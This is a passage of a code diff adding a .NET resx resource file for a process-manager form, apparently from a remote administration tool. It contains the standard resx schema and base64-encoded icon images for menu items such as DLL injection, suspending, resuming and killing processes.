+xpKqytnIV5d5FEq/zTof6VaiT/4qJAYhk/H8CLs3cwmLLylik6t+YCnHDrG0xjr+bShB1zOPHeTv
+jS/ZyO596UXWb+Bjp/ozFo1QzG4xqr5E5ugf0/cgcYjbvFFikWEIxejWhapERxg9wdyCUBGjkTEI
+FUXQNb1G71Ebakt9ggoqqKAUYuwfkncky8hMGrUAAAAASUVORK5CYIIL</value></data></root>

Server.Forms.FormProcess.resx

@@ -0,0 +1,221 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+<resheader name="resmimetype"><value>text/microsoft-resx</value></resheader><resheader name="version"><value>1.3</value></resheader><resheader name="reader"><value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><resheader name="writer"><value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><data name="dllInjectorToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAogIAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsSAAALEgHS
+3X78AAACRElEQVRoQ+2Y3StDYRzH9w9YeZn8LW6QC3kp5CUXUthKyq5k7GZLCpvykhJX3tqFIhZJ
+aLtQwo0IuRC58nKNmenhezwP58yzjRvn92jf+nZ2nrNz+nzP+Z3f1s+SVlpyDe89e0f2nwf4rlri
+8Azu3Yns8mU1pIdXLoQMXliJEMN7EZcMXph8iNa1B2936EkKL0wuhM0R8uY4QgOAt689MjhViHfT
+6E6AtznCDM73nWvwPwsR8fBLmCc9/O9CEIUXTh6COLywIcTqowftFeaXME/x8FkNQWYtm2PWigDL
+btr4HuIdnp9qvuLhM+tXWEbJzKet5QFDABjdiZ9urlLBawFK5w3wcI49TK/mZfAwykn/PaXgM+uX
+6cPjDsvhV+jDw+g2ysLDaJVKwVf6Dw2A6PNoldbSOfovrC94xaCx9WsDqMzk4F2TWywafdECQMlC
+kIPvmtpktU4365uYThmCZNkAGvAiROz1lUdgrGro650gXTYvsRjrn5xlC+vb2j7kC17ShZeVjf7O
+k4ZPVTak4dNl85f6N2WDVigkL5srWvCQzR52CSi4d/GC4xIvGyFMA4r9J+FEISDS8GImkygEXfiD
+p8KvgdKHiwZPN/Uh9H+ZScELycbd8U+CLDyUaNytD0EWvnnpzi+fT8IRz0d7DZk/7pOpus2T2zi2
+cWOcT4pyIjBgTaa6jh5bjbPnCL+yjeNb9y1Lt0P8kGV0P1rAP9JVbYf7GPDY4knwZXWkwTvdZ3Xt
+nXl8SS0pDQ8pWTZpmSaL5Q3j1T5LWmymXAAAAABJRU5ErkJgggs=</value></data><data name="resumeProcessToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>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</value></data><data name="suspendProcessToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAgQUAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsRAAALEQF/
+ZF+RAAAFI0lEQVRoQ+2ZWU9bVxCArbapBCGkwexgsxP2YGiq9odErdof0iovvBD2fQkGQqBAUmpq
+UtaQAInUl26QADEJtjHgDRvb16QkD7gv0zO3x0a6xPU92NipxCcdIV2J62+OZsbDIDnnnHOC54YK
+PlQscF+UP3bfvPaIU5fOcxtlD13uklnX38UzTjzu4mmHpnDKoS6cdNwsmLR/LqmCD+ivR45P5zlZ
++YK7TvH4wELk4dojN5TNc1D2kIPSOQ5IAFAy44LiaScUTTmhcJKcnx1Q8MABVyfs5jy1vTZX7Uqn
+rwsf5b8cJlQsunsVi26PYuEA2OX3IV9Nzk/7kDtu9+SobD3596zx9PVnS+XS668VS25OsXgAwcrn
+jdshV0XOjzbI/sHmyh6zfUU/JvRULsMFIt9fsUTEQyyfM8YHAFn39yBr1Kqs7F2+QD82NFROWaMr
+nhzMnbn8vT3IHLWCfMQ6m9JrjaYfHxx48+GUzxghZ5gEMWheKFJpPqYapycsaSOUH7KAbNAC6XdN
+PVTjdFQ8ef1N5OTNkD5ghtR+45dUh43rC39JSZt0RlI+7Y4JUvqMHKkH9hb7b5+PrHxqPwZAjnK3
+m2qJo/SpK53lS6pgwgb5o3rIG96E3O9fQc6wDvJVez75nPtmyBzYhIy+DZD3asjPV5A5bBIn32uE
+pB6jJ6XXIKd6geHHA4abR/kV+1vw8qftLWQPaX03j/LL5JmXP6xvQKZ8KUo+WYkB7EJi924t1QsA
+GbLIbGNmSZs8cutCsu5s+NImg9y6EFn3umj5pNskgK4di4QMjdTSP3SqZMr53KGXVOuYrH6NL+fl
+yhf06THpnWvi5bt3IaFrB+I6DJ9RTf8QeTISsxVszuDJADL7NL6ClfecDCCNBMAiH9+5A9IOw3dU
+0z9EfIJFHrtNzt2TAWDaeLuN7PY6fXpMascqk3x8xzZI27bHqaZ/SuddGhZ5bJXZAxtU6xhMG2+r
+fGcA7ats8u3bENe2vU41/VM25+JY5LFVYsEKwbTx9nksWCEpbc9Z5eFKq8FJNf1TOufysMhjq8SC
+FYK37u3zWLBCklufs8rDlWbDEdX0T8ms08Miz/d5UrBC+ABon8eCFZLUQgJgkW8xwCdNWyICmHZy
+LPJi+jwWrJCk5mds8s1bcLlxK3AK4faARV5Mn8eCFZLY9IxNvmkLYhv0gYu4aNIxwSIvps9jwQpJ
+aFxhkie3D5ca9IHbKO5tWOTF9HksWCEJDStM8uT2IaZe9y3V9A8unVjkxfR5LFgh8fUrTPKX6vUQ
+VbN5nWr+B2SYu6reN4mVF9PnsWCFSOtWmORj6rRG0ds83JiJlef7fPcG/G55Q9UAfjMfQnL7C1+f
+T2xZ5595+dV0CNKGVQZ5HVys1dVQvcDgug83ZmLk+VY5YITUTg2fNnjzvLxy57jPdxsgoXmNTxu8
+eV6+TS9aPqZGexRVrU2jeuLAdZ8oecaRmC1tiHytDqJv6TqplniKVKa47DGb8z2Qd8VUbZ5ub4q7
+ykjKX6zRQVT15g2qczpwVxkp+ehqbRfVCALyd6h8xPIg7Dd/a3NGUvX0I2oRHLholQ1ZZsOYNtOS
+qhAtd73gyht3lWFJm1Dd/LvAXSU5zlDLR9doHUEXrFhSOy1SXPclKY1HQcuTLyns87FVmjj6+vAR
+12NKI+K1CV27JnZ5rQnHA+Zv2DOBDFm4dMK9Da4+iPz6ldYtjsh7iLzncqOei23Ur+E8jyMxP1W+
+D/9mPeec/z0SyT+l5/7vV6/aLQAAAABJRU5ErkJgggs=</value></data><data name="openDirectoryExplorerToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>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
+PP8ADkjAc1nKTmAAAAAASUVORK5CYIIL</value></data><data name="x64ToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAmAMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsSAAALEgHS
+3X78AAADOklEQVRoQ+2Zy2sTURTGIyKKghtBFNzoVlciKIi4FF+4EnHpThBEQUEX4kLE7sSVf4Cu
+xJXixunTIm2tUugkfeTRlhqblPSVJk2TNunxnumZyc1wxnq6mNvF/ODbzJz73W/u3EeYxCIiIiJ2
+OFbiRqw93q1UVoKQhH11xdrt65Rim1h2m884fFnxl5RGyObI86Zhy7KvUSoBm9OGNwxbVryTUgmw
+7BJrZkKWvUypBHBGJiWGMzEpMZyJSYnhTExKDGdiUmI4E5MSw5n8h/Z2JuC2/Rs+FZYhUa7Cwnqd
+rXO1uyMBQ8uroMPVUSoBnMkWOvMjA6lKjWI04Wpd3R/PUVUTro5SCeBM/qHzgxNQa2xQBIBSveG8
+hTfTc2w96si3MVhSb8gPV0upBHAmATrYPQLTq2vUPcD73BIc6hlla3W9yy1Si1a4WkolgDMJ0N3R
+Geoa4ONsEQ6rkb3wcwIuDU0FPsjFX5Pgvi9so8PVUyoBnEmAehZXqGsAa74MaxvNqYTT6kk631K/
+Ry3cuFrgCC5ynEo6eq0nMZxJgLLV5vQJ4pbamdz6R8k8XQW4k8g613TcuhaJ4UwCVNdGvG+pAqcH
+0s4USWs7Un+x4tQe6x13Fjjydb4Eu8hDR/f2JEZr/DiVd171FTWnT/aloLBWh7fZee9+Mz7AucGM
+dx1H3QVDY9gPvvkehOvhSYzWeJ86nHB/T67UoHuh7Gx9R3vHvPu52jp1C3CqP+VdP6vOBZ0DXSNQ
+ptHfCtfDkxifAe4oLvfGZlrufVb7vcsDdTC51x8mm4dUXj0kXuMOOg7Xw5MYn8HN4WmyBnjq21Uu
+aw+3qnadV5MFeJ6ZhRVttNumCi1t/NLh7lMqAVpjPKj+VNfBLlXhy1zJCXb8e7Klg9fqxA1iQC3g
+/Wr66PV+6XD3KZUArTH+HMCFijvLCRW80mg4D6LXoHDR4pmACx7fBP6Ye6beBK4hf61fOtx9SiWA
+MzEpMZyJSYnhTExKDGdiUmI4E5MSw5mYlJid9Gmx3S5SKgHO93nOzIAsu4NSCcA/FzgzE7KGr1Iq
+IfjnAmcYrl5Qmm2Cfy7g9/kw1wT2hdNm2yMfEREREQ6x2F+uMtPoETiAtAAAAABJRU5ErkJgggs=</value></data><data name="killRemoveToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAA2AMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsRAAALEQF/
+ZF+RAAADeklEQVRoQ+2Z204TURSGeRYRz4CcWtqhLeXQdgoUFVBIjOHCB/BGBDkjhucykmB8BSPS
+Tmd6muHQciXQ5V7TjmlgOrO7MHFfzJ+si6bT5Puma9beO9PmxYsXL2LmPDU/UUktZM9TC1CZmofK
+JNYrqExgvYRyEmsOyjLWLJQTs3AWn6lV7EWtxp+bdTr2rFaj03A6gpWCkyjWFJwMY03CSQRrAo7D
+rELJWg3JcCzJiiHJch2LPwxaEQAeDCkBeiCeqWPx57/Ds0J4IxgHIxCHOhZ/RII3AjGCgEDw+uA4
+RUAceN1PERAIXvePUQTEgdd9BAFeeINBZ6OTUGDAvPC5oQRkgjEoMmgeeH1glCLgDl8am4aj12+h
+cvAd1NUd0BigG7wqxUFZ3oLK/jc4nF0EjYm4wZf6RwgCHHce4S90AzDVy0tQNz6DGkk2hc9KMciu
+fjKvxVyUdPg58wYKg0zCAZ4o4Nzz2DZ45xtjSqzvghqWXeGtlL8eQNo36ghf6osSBFweWOx5bJvr
+QH8lQglXePysvF8H1c8EHOBLvcOtCzjBW9MGe15duwkGV1egbu2BwvrdhP9oI8quya7tQsY34gpf
+JAs4wFvTBiWydv8ESmzu/RP4Yk+EIMABb00bLZy0BYWrqgnbGAp88WmYKMABb00bLSQzie2bEg2h
+whe7KQItwFvTRmULVHZl23wGrqdarZLhi90hmkAr8NYiZbaSjQC2EwqkGWir8IUuggAZ3q2F2DhN
+M9hW4AudQ0SBW8Jj21xvp5rEDhwxUF74QqdEELgtPIJizy9t2H6nsN+kUYIDvvCEIsABz7NIZQZY
+sdXWVmJlC34xWDf4/OMgRcAZHrfEuKu8AcY+K2wSNU6bTH8UlA+bttcevVsGBSUc4POPAq0LOMHj
+QQT387glbowdvDVt0r0R23Y6+7IPhwzUCZ4o0BweCw8jh3OL5pYY4wRvTRvs+cZ2+l0swQ928tO6
+GLQDfP7hIEHAAd48Bkoy5NhBBPfz5f0Dc1fJs0ilWa9j2+CdR3iFAz7/wE8RcIa3joF4GMH9PM+W
+2Jo22PPYNjx3HuFzJIFm8Jxn2GbwbtPGDj5330cREAc+d48gIBJ8rmOAICAQvNbRTxQQBF67SxEQ
+CF5r7yMImG9GxIDX7vRk6lj8wdc6RjCmiACvtfck6lhevHjxIlTa2v4ApFYzcOoYkQsAAAAASUVO
+RK5CYIIL</value></data><data name="x32ToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAATgQAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsSAAALEgHS
+3X78AAAD8ElEQVRoQ+2Z6U8TURTF+ab/lV9NhLTIjgvRaAhKghERYkyIC8YExRBRg0sIMVFRw1K2
+gCAURRYFLC6AQFCWFhBFRKlsvc59vVPL9FovSWv50B85SfN6OJw3nZn3pkSECRMmzNZkR0nK9shy
+85XICpMjssIMoZHJvqvcXIBdqJYcd3ku9P9rV4XpMtWSE9ojv1HapzBNteRwQcHSwYbDEGNJgPjq
+ZDjUmMp6qJYcLiQYMlfFwOr6KmS0HId7Aw9gzjnH+qiWHC4kGEpvzoB11zrstsRD+9QL6JnpZX1U
+Sw4XEkjhKXOsJRNK3paqo46v7T8cYJ14pl4b/VRLjjEg0MKS/jD6qZYcY0CwhKdN06dmSKrdp4qf
+sGazPqolhwsJhsYWPkLpu7uQZc1RE8CJcD6qJYcLCaS6HN2qMAfejYx+qiXHGBBoHW5Mg4vd+arw
+2Y48aJt8Bu+/DKhrY3/9QR8/1ZJjDAiGcALONSdEVUbD61kblA0+Yn0oqiWHCwm0Hgw+hMGvQ+r1
+t1/f1Cdh9OiiWnK4kFCKasnhQkIpqiWHCwmlqJYcLiSUolpyuJBQimrJ4UJQZzrOw5u5t+BcdcLS
+6pK2ko7B/YEybTcZ5+NNfXJEbRPGv0/A5OIk9M2+hqt917QtdKyP91+iWnK4kIJXhWrh4bDN9kNU
+RbTHi1sDnCSH0SsR1ZLDhUwuTqkCuO1NfXJU7eHx6Otkt51SPlNlDEz/nFZjI/OjatXF1fXD/LAa
+Q3SvVFRLDhdS2FsERX3XIdN60jMWV51ElQCu9BSqseOtWTQCkNd50ePNf1lAo3+8UlEtOVwIp9Pt
+uVQJIKstR40l1CSrPQ0q1pLo8d6wFZMT4PTzXM+4RFRLDheiCz/++rEGtZdfXltWhTrsnaxXF26T
+Z37OKC8+geGzMOf7m6iWHC5EF55G3jh+TKtvFjgvCsvihYu4tJ9znRdYnz9RLTlciK60pnQ1CXwQ
+wfLI56U5SK7d7+PFnWbLuFV5kIdDj308ElEtOVwIp/TmY1QN4Fb/HZ/3K0cs9C7A0/FWNSGjRyKq
+JccYgLdBPO9Rma38XcgyWrPhd8qGHtE7AJ2OLnV79X5/M6JacowBWHRlfUWVsX3uh8Savepoeq8D
+eJfR/cW2WzTqXri4lXozolpyuBB8ANFZc6157kDI1KIdYqvdt8w9dSnqYvXH8PyIT74/US05XAgu
+/zf7b2srsR1cLnfBheUF7dxu0U6xAx4fTgAvbn/CU8o7+1+iWnK4EG9FV8VtWKSCLaolZ4t9vT5F
+teTgPxW4sFBIm0A+1ZKD/9ZxT8Jk50L/j7S/XW6+tLNu5zaqFSZMmDBbioiI392nmoAs4I89AAAA
+AElFTkSuQmCCCw==</value></data><data name="killToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAyQUAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsRAAALEQF/
+ZF+RAAAFa0lEQVRoQ+2YzVMbZRjAGbUeemz14BQVammR2gLZBAIJLAQIAZLwUcJXp3rj5ql1QEqF
+fli8q0Md/4RO60HrxYMz1hkcbzr15OAkm2wC2Sxkd9EhtPD4Psu7DsJmd/NBuPCbeQ8ZQvb3vPvs
+s8/7lB1zzDGFA6HQy5J/vEnuG51R+kYeSb0jf8g9w2tSz/CW5LuyJXcPraW9Q8+krqFH6c7BGalz
+0Alzcy/Rfz86/ukffVPxj30mB8Ziin8UlL5RkHtHyAqB3EOWb5isKyB1k+UdAhIAWYOQ7hyAdEd/
+dN3Tv5BiB8vpz5UOORR6XQmOfSX7xzNKYAxyl1cDgLQnCGttgcx6W2BRZv2v0Z8/XJT+iYmNwLio
+BMahUPn1drLaAmT5Ya21LyW6+8boZYoPTE6eUIITX28EUby48uusGgBZvbDm7nkADHOCXrY4gH/y
+pBIc//7Q5VvUACDl6n7CM/6T9PKFsbvzpZMXXT4Qm7tBbPL+ADWhV6lG/pQkbQ7Ik+X0Qqqxa5Fq
+5AfZ+atHKA+phk4Q7R2jVCc3pIFrpzeCY8JRyqccHZC0t4s8w+ZeYrHOW5EXiXisIwhJImxVPtHi
+A67ZC0kUN5AXHB4Q7B5IMu1fUi1r/D14tdzKS0rwDkLk2iQoS78CP3sX4u1+U3ne3Q3R6XlQfv4F
+loc/gHhTl6G8wLRD0sZm1hjXW1TPHGwPrOw8yj9PiYDsvHgB/Nx9iLf1ZZWPub0Qu3lX/S7yXEjB
